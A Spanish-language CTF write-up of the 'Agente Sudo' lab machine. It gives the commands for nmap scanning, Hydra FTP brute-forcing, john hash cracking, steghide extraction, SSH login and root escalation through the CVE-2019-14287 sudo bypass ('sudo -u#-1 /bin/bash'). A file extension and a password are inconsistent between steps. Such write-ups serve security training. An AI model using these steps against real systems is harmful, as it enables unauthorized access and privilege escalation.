**Informe Profesional de Máquina CTF - Agente Sudo**

**Introducción:**

El presente informe detalla los hallazgos y progresos realizados en el desafío de la máquina CTF Agente Sudo. Se han llevado a cabo diversas acciones de exploración y análisis para avanzar en el objetivo de resolver el desafío. A continuación, se presentan los hallazgos más relevantes hasta el momento.

**Resumen de hallazgos:**

1. **Escaneo de puertos:**

Se realizó un escaneo de puertos utilizando la herramienta Nmap, revelando los siguientes puertos abiertos en la máquina objetivo:

* Puerto 21/tcp: Servicio FTP (vsftpd 3.0.3).
* Puerto 22/tcp: Servicio SSH (OpenSSH 7.6p1 Ubuntu 4ubuntu0.3).
* Puerto 80/tcp: Servicio HTTP (Apache httpd 2.4.29).

***Comandos:***

* ***nmap -A <ip>***
* ***nmap -sS -sV <ip>***

1. **Análisis del sitio web:**

Se visitó el sitio web http://10.10.135.169/ y se encontró el siguiente mensaje:

"Queridos agentes,

Utilice su propio nombre en clave como user-agent para acceder al sitio.

Atentamente,

Agente R"

1. **Obtención de información adicional:**

Se utilizó el comando curl para obtener el código HTML de la página web.

Al utilizar el comando "curl http://10.10.135.169/ -A C -L", se obtuvo el siguiente mensaje:

"Atención Chris,

¿Todavía recuerdas nuestro trato? Por favor, informa al agente J sobre el asunto lo antes posible.

Además, cambia tu contraseña, ¡es débil!

Atentamente,

Agente R"

***Comandos:***

* ***curl http://<ip>***
* ***curl http://<ip> -A C -L***

1. **Acceso al servicio FTP:**

Se intentó acceder al servicio FTP, pero se solicitó una contraseña que no se tenía. Se utilizó la herramienta Hydra con el usuario "chris" y la lista de contraseñas "rockyou.txt" para intentar obtener la contraseña.

* Se obtuvo el siguiente resultado:
* Host: 10.10.135.169
* Usuario: chris
* Contraseña: cristal

***Comandos:***

* ***hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.135.169***
* ***ftp <ip>***

1. **Descubrimiento de archivos en el servicio FTP:**

* Se obtuvo acceso al servicio FTP utilizando las credenciales obtenidas.
* Se encontraron tres archivos, incluyendo "To\_agentJ.txt", "cutie.png" y "cute-alien.png".
* El archivo "To\_agentJ.txt" contiene el siguiente mensaje:

"Querido agente J,

¡Todas esas fotos tipo alien son falsas! El agente R guardó la imagen real dentro de tu directorio.

Tu contraseña de inicio de sesión está de alguna manera almacenada en la imagen falsa. No debería ser un problema para ti.

Atentamente,

Agente C"

***Comandos:***

* ***ftp <ip>***

1. **Análisis de la imagen "cutie.png":**

Se utilizó la herramienta binwalk para analizar la imagen "cutie.png". Los resultados mostraron que la imagen contiene una imagen PNG válida y un bloque de datos comprimidos con el algoritmo Zlib. Además, se detectó la presencia de un archivo ZIP dentro de la imagen, denominado "To\_agentR.txt".

***Comandos:***

* ***binwalk cutie.png***

1. **Extracción del archivo ZIP cifrado:**

* Se utilizó el comando "binwalk -e cutie.png --run-as=root" para extraer el contenido de la imagen.
* Se encontraron varios archivos, siendo el más relevante "8702.zip", protegido con una contraseña.

***Comandos:***

* ***binwalk -e cutie.png --run-as=root***

1. **Descifrado del archivo ZIP:**

* Se utilizó el comando "zip2john 8702.zip > hash.txt" para obtener el hash del archivo ZIP.
* Se utilizó la herramienta "john" con la lista de contraseñas "rockyou.txt" para descifrar el hash.
* La contraseña "alien" fue descifrada con éxito para el archivo ZIP.
* Se extrajo manualmente el contenido del archivo ZIP utilizando la contraseña "alien".
* Se encontró un archivo de texto, "To\_agentR.txt", con el siguiente mensaje:

"Agente C,

Necesitamos enviar la imagen a 'QXJlYTUx' lo antes posible.

Atentamente,

Agente R"

* Con Cyberchef con la operación magic logramos descifrar la contraseña oculta de QXJlYTUx que es Area51

***Comandos:***

* ***zip2john 8702.zip > hash.txt***
* ***john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt***

1. **Análisis de la imagen "cute-alien.png":**

* Se utilizó el comando "steghide extract -sf cute-alien.jpg" para extraer el contenido de la imagen.
* Se utilizó la contraseña "Area51" obtenida a partir del paso anterior.
* Se encontró el archivo "message.txt" con el siguiente contenido:

"Hola James,

Me alegra que hayas encontrado este mensaje. ¡Tu contraseña de inicio de sesión es 'hackerrules!'

No me preguntes por qué la contraseña parece cursi, pregúntale al agente R, quien estableció esta contraseña para ti.

Tu compañero,

Chris"

***Comandos:***

* ***steghide extract -sf cute-alien.jpg***

1. **Acceso a la Máquina con Credenciales:**

Se descubrieron las credenciales de inicio de sesión en los anteriores pasos: usuario "james" y contraseña "hackerrules". Se utilizó esta información para acceder a la máquina objetivo en el servicio SSH.

***Comandos:***

* ***ssh james@<IP>***

1. **Obtención de Privilegios Root:**

Investigamos con el comando “sudo -l” para ver los privilegios que tiene el usuario james y buscar alguna vulnerabilidad y encontramos ALL, !root) /bin/bash, despues buscamos en google y encontramos que la vulnerabilidad esta asociada al comando "sudo" (CVE-2019-14287) y se utilizó un exploit para obtener privilegios de root en la máquina con el comando sudo -u#-1 /bin/bash y con ello obtuvimos privilegios root .

***Comandos:***

* ***sudo -l***
* ***sudo -u#-1 /bin/bash***

**Conclusiones:**

En conclusión, el informe detalla el proceso de resolución del desafío CTF "Agente Sudo" y destaca los hallazgos clave. A través del análisis de puertos, la exploración de servicios y el descubrimiento de información oculta en el sitio web y en archivos, se logró avanzar en el desafío y obtener acceso privilegiado a la máquina.

Las principales etapas del proceso incluyeron la obtención de contraseñas a través de técnicas como la fuerza bruta y el descifrado de hash, el análisis de imágenes y la extracción de información oculta, así como la identificación y explotación de una vulnerabilidad en el comando "sudo" para obtener privilegios de root.

El informe resalta la importancia de utilizar herramientas como nmap, curl, binwalk, hydra, steghide, entre otras, para realizar el análisis y descubrimiento de información en la máquina objetivo. También destaca el uso de conocimientos en criptografía, búsqueda de vulnerabilidades y explotación de sistemas para superar los desafíos planteados en el CTF.

En general, el desafío "Agente Sudo" fue un ejercicio valioso para poner en práctica habilidades de hacking ético, enumeración de servicios, análisis de imágenes, descifrado de contraseñas y explotación de vulnerabilidades. Además, permitió familiarizarse con herramientas y técnicas utilizadas en el ámbito de la seguridad informática. Al completar con éxito este desafío, se demuestra la capacidad para investigar, analizar y resolver problemas complejos relacionados con la seguridad de sistemas y redes. Esto refuerza las habilidades de los participantes y fomenta el aprendizaje continuo en el campo de la seguridad cibernética.

En resumen, el desafío CTF "Agente Sudo" proporcionó una experiencia enriquecedora y desafiante, permitiendo desarrollar habilidades técnicas y prácticas para abordar situaciones similares en escenarios del mundo real.